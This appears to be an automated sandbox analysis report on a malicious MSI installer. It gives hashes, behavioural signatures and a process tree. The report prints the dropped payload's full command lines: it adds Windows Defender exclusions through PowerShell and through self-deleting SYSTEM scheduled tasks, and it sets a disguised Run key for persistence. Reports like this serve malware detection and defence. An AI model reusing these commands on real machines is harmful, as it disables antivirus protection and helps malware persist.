Analysis
- max time kernel
150s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 05:54
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
setup_n0c014.msi
Resource
win10v2004-20260513-en
windows10-2004-x64
39 signatures
150 seconds
Behavioral task
behavioral2
Sample
setup_n0c014.msi
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
25 signatures
150 seconds
General
- Target setup_n0c014.msi
- Size 5.3MB
- Sample260804-gl353adh86
- SHA256 a6377e384d032783d8cd22d371f7c983dca2de11c0367645fa7be95da5d88458
- MD5 5fa7cd96aa6f0d3b54e73dbc920c570b
- SHA1 87e5bfd9496492f5aa6cf8355fd955cb0ea965f0
- SHA512 4547c99d1f212e6b3de6154a44db7ed3dfe405641fa1e3dca9ffe1b7fa68500a5811e970b3c5a1821c4af94b8bda696f1d1ad0e8caa069e7542b67162ddfdf07
- SSDEEP 98304:xRrwSKgwM9ZRYuX8/IE443gwH4f/w8TFRztryA47lBMwl3kYk1jZSLrXQxk:xRrvHwMCuM34Dg4Ztrp47lywqYk1QLsC
- TLSH T1624633C429C66B30C05BC7B18217B6AE716D7FC6BE329D0A79DEBD082E3111B5875B09
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Windows security bypass 2 TTPs 10 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\mKVzUo = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2544 powershell.exe - Executes dropped EXE 1 IoCs
pid Process 708 gmvBYX.exe - Loads dropped DLL 2 IoCs
pid Process 1132 MsiExec.exe 708 gmvBYX.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\mKVzUo\\gmvBYX.exe\"" gmvBYX.exe - Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 9 1132 MsiExec.exe 10 1132 MsiExec.exe 11 1132 MsiExec.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\Q: msiexec.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 5824 cmd.exe 5196 cmd.exe 4128 cmd.exe 5316 cmd.exe 5328 cmd.exe - Drops file in System32 directory 9 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049 MsiExec.exe File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b gmvBYX.exe - Drops file in Windows directory 13 IoCs
description ioc Process File created C:\Windows\Installer\e599ee8.msi msiexec.exe File created C:\Windows\SystemTemp\~DFAB085897F53F3C33.TMP msiexec.exe File created C:\Windows\Installer\e599ee6.msi msiexec.exe File opened for modification C:\Windows\Installer\e599ee6.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File created C:\Windows\Installer\SourceHash{B0831565-6686-6851-9C74-E6F739A50195} msiexec.exe File created C:\Windows\SystemTemp\~DF0F7914D1E88C0207.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSIA493.tmp msiexec.exe File created C:\Windows\SystemTemp\~DF4B4A1E865B29595C.TMP msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\SystemTemp\~DF178CB457C24E3FA5.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSIA521.tmp msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 3664 msiexec.exe - Executes a command shell one-liner 1 TTPs 5 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1336 cmd.exe 5320 cmd.exe 3104 cmd.exe 5496 cmd.exe 2840 cmd.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000ad3b1fc6af0fc0350000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c0120000000000000000000000002701010000883801ad3b1fc60000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e84101ad3b1fc6000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e3ad3b1fc600000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e6ad3b1fc600000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe - Modifies data under HKEY_USERS 9 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E msiexec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" MsiExec.exe - Modifies registry class 22 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\Net msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\Media\1 = ";" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\ProductName = "UNITAT Licensing Dll" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\DeploymentFlags = "3" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\DF0DC009059FB39AE56CA70DA425EB38 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\DF0DC009059FB39AE56CA70DA425EB38\5651380B68661586C9476E7F935A1059 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\5651380B68661586C9476E7F935A1059 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\PackageCode = "4722A2A0880845942AEFEA3A87DF26F8" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\Version = "84017285" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\AdvertiseFlags = "388" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\InstanceType = "0" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\Clients = 3a0000000000 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\5651380B68661586C9476E7F935A1059\UuueatYAD msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\Media msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\AuthorizedLUAApp = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\PackageName = "setup_n0c014.msi" msiexec.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4336 schtasks.exe 2408 schtasks.exe 5228 schtasks.exe 5020 schtasks.exe 4724 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 6096 msiexec.exe 6096 msiexec.exe 1132 MsiExec.exe 1132 MsiExec.exe 1132 MsiExec.exe 1132 MsiExec.exe 1132 MsiExec.exe 1132 MsiExec.exe 1132 MsiExec.exe 1132 MsiExec.exe 1132 MsiExec.exe 1132 MsiExec.exe 1132 MsiExec.exe 1132 MsiExec.exe 1132 MsiExec.exe 1132 MsiExec.exe 1132 MsiExec.exe 1132 MsiExec.exe 1132 MsiExec.exe 1132 MsiExec.exe 1132 MsiExec.exe 1132 MsiExec.exe 1132 MsiExec.exe 1132 MsiExec.exe 1132 MsiExec.exe 1132 MsiExec.exe 1132 MsiExec.exe 1132 MsiExec.exe 1132 MsiExec.exe 1132 MsiExec.exe 1132 MsiExec.exe 1132 MsiExec.exe 1132 MsiExec.exe 1132 MsiExec.exe 1132 MsiExec.exe 1132 MsiExec.exe 1132 MsiExec.exe 1132 MsiExec.exe 708 gmvBYX.exe 708 gmvBYX.exe 708 gmvBYX.exe 708 gmvBYX.exe 708 gmvBYX.exe 708 gmvBYX.exe 708 gmvBYX.exe 708 gmvBYX.exe 708 gmvBYX.exe 708 gmvBYX.exe 708 gmvBYX.exe 708 gmvBYX.exe 708 gmvBYX.exe 708 gmvBYX.exe 708 gmvBYX.exe 708 gmvBYX.exe 708 gmvBYX.exe 708 gmvBYX.exe 708 gmvBYX.exe 708 gmvBYX.exe 708 gmvBYX.exe 708 gmvBYX.exe 708 gmvBYX.exe 708 gmvBYX.exe 708 gmvBYX.exe 708 gmvBYX.exe - Suspicious behavior: LoadsDriver 6 IoCs
pid Process 820 Process not Found 820 Process not Found 820 Process not Found 820 Process not Found 820 Process not Found 820 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 3664 msiexec.exe Token: SeIncreaseQuotaPrivilege 3664 msiexec.exe Token: SeSecurityPrivilege 6096 msiexec.exe Token: SeCreateTokenPrivilege 3664 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 3664 msiexec.exe Token: SeLockMemoryPrivilege 3664 msiexec.exe Token: SeIncreaseQuotaPrivilege 3664 msiexec.exe Token: SeMachineAccountPrivilege 3664 msiexec.exe Token: SeTcbPrivilege 3664 msiexec.exe Token: SeSecurityPrivilege 3664 msiexec.exe Token: SeTakeOwnershipPrivilege 3664 msiexec.exe Token: SeLoadDriverPrivilege 3664 msiexec.exe Token: SeSystemProfilePrivilege 3664 msiexec.exe Token: SeSystemtimePrivilege 3664 msiexec.exe Token: SeProfSingleProcessPrivilege 3664 msiexec.exe Token: SeIncBasePriorityPrivilege 3664 msiexec.exe Token: SeCreatePagefilePrivilege 3664 msiexec.exe Token: SeCreatePermanentPrivilege 3664 msiexec.exe Token: SeBackupPrivilege 3664 msiexec.exe Token: SeRestorePrivilege 3664 msiexec.exe Token: SeShutdownPrivilege 3664 msiexec.exe Token: SeDebugPrivilege 3664 msiexec.exe Token: SeAuditPrivilege 3664 msiexec.exe Token: SeSystemEnvironmentPrivilege 3664 msiexec.exe Token: SeChangeNotifyPrivilege 3664 msiexec.exe Token: SeRemoteShutdownPrivilege 3664 msiexec.exe Token: SeUndockPrivilege 3664 msiexec.exe Token: SeSyncAgentPrivilege 3664 msiexec.exe Token: SeEnableDelegationPrivilege 3664 msiexec.exe Token: SeManageVolumePrivilege 3664 msiexec.exe Token: SeImpersonatePrivilege 3664 msiexec.exe Token: SeCreateGlobalPrivilege 3664 msiexec.exe Token: SeBackupPrivilege 3336 vssvc.exe Token: SeRestorePrivilege 3336 vssvc.exe Token: SeAuditPrivilege 3336 vssvc.exe Token: SeBackupPrivilege 6096 msiexec.exe Token: SeRestorePrivilege 6096 msiexec.exe Token: SeRestorePrivilege 6096 msiexec.exe Token: SeTakeOwnershipPrivilege 6096 msiexec.exe Token: SeRestorePrivilege 6096 msiexec.exe Token: SeTakeOwnershipPrivilege 6096 msiexec.exe Token: SeRestorePrivilege 6096 msiexec.exe Token: SeTakeOwnershipPrivilege 6096 msiexec.exe Token: SeBackupPrivilege 4124 srtasks.exe Token: SeRestorePrivilege 4124 srtasks.exe Token: SeSecurityPrivilege 4124 srtasks.exe Token: SeTakeOwnershipPrivilege 4124 srtasks.exe Token: SeBackupPrivilege 4124 srtasks.exe Token: SeRestorePrivilege 4124 srtasks.exe Token: SeSecurityPrivilege 4124 srtasks.exe Token: SeTakeOwnershipPrivilege 4124 srtasks.exe Token: SeRestorePrivilege 6096 msiexec.exe Token: SeTakeOwnershipPrivilege 6096 msiexec.exe Token: SeRestorePrivilege 6096 msiexec.exe Token: SeTakeOwnershipPrivilege 6096 msiexec.exe Token: SeRestorePrivilege 6096 msiexec.exe Token: SeTakeOwnershipPrivilege 6096 msiexec.exe Token: SeRestorePrivilege 6096 msiexec.exe Token: SeTakeOwnershipPrivilege 6096 msiexec.exe Token: SeRestorePrivilege 6096 msiexec.exe Token: SeTakeOwnershipPrivilege 6096 msiexec.exe Token: SeRestorePrivilege 6096 msiexec.exe Token: SeTakeOwnershipPrivilege 6096 msiexec.exe Token: SeRestorePrivilege 6096 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 3664 msiexec.exe 3664 msiexec.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 3664 msiexec.exe 6096 msiexec.exe 1132 MsiExec.exe - Suspicious use of WriteProcessMemory 28 IoCs
description pid Process procid_target PID 6096 wrote to memory of 4124 6096 msiexec.exe 94 PID 6096 wrote to memory of 1132 6096 msiexec.exe 96 PID 708 wrote to memory of 2544 708 gmvBYX.exe 99 PID 708 wrote to memory of 5824 708 gmvBYX.exe 101 PID 5824 wrote to memory of 4336 5824 cmd.exe 103 PID 5824 wrote to memory of 5764 5824 cmd.exe 106 PID 708 wrote to memory of 5196 708 gmvBYX.exe 108 PID 5824 wrote to memory of 3416 5824 cmd.exe 110 PID 5196 wrote to memory of 2408 5196 cmd.exe 112 PID 5196 wrote to memory of 2424 5196 cmd.exe 114 PID 5196 wrote to memory of 5356 5196 cmd.exe 116 PID 708 wrote to memory of 4128 708 gmvBYX.exe 117 PID 4128 wrote to memory of 5228 4128 cmd.exe 119 PID 4128 wrote to memory of 4324 4128 cmd.exe 120 PID 4128 wrote to memory of 2632 4128 cmd.exe 122 PID 708 wrote to memory of 5316 708 gmvBYX.exe 125 PID 5316 wrote to memory of 5020 5316 cmd.exe 127 PID 5316 wrote to memory of 4772 5316 cmd.exe 128 PID 5316 wrote to memory of 2236 5316 cmd.exe 130 PID 708 wrote to memory of 5328 708 gmvBYX.exe 132 PID 5328 wrote to memory of 4724 5328 cmd.exe 134 PID 5328 wrote to memory of 3456 5328 cmd.exe 135 PID 5328 wrote to memory of 4112 5328 cmd.exe 137 PID 1336 wrote to memory of 2812 1336 cmd.exe 139 PID 3104 wrote to memory of 2604 3104 cmd.exe 140 PID 5320 wrote to memory of 1356 5320 cmd.exe 141 PID 5496 wrote to memory of 5612 5496 cmd.exe 143 PID 2840 wrote to memory of 2824 2840 cmd.exe 144 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\setup_n0c014.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:3664
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:6096 -
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
- Suspicious use of AdjustPrivilegeToken
PID:4124
-
-
C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding 663F8DE06A475FAC015CD031D9F87B9C E Global\MSI00002⤵
- Loads dropped DLL
- Badlisted process makes network request
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:1132
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:3336
-
C:\Users\Public\mKVzUo\gmvBYX.exe"C:\Users\Public\mKVzUo\gmvBYX.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:708 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force2⤵
- Command and Scripting Interpreter: PowerShell
PID:2544
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\mKVzUo\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:5824 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\mKVzUo\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4336
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:5764
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3416
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:5196 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2408
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2424
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:5356
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4128 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:5228
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4324
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2632
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:5316 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:5020
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4772
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2236
-
-
-
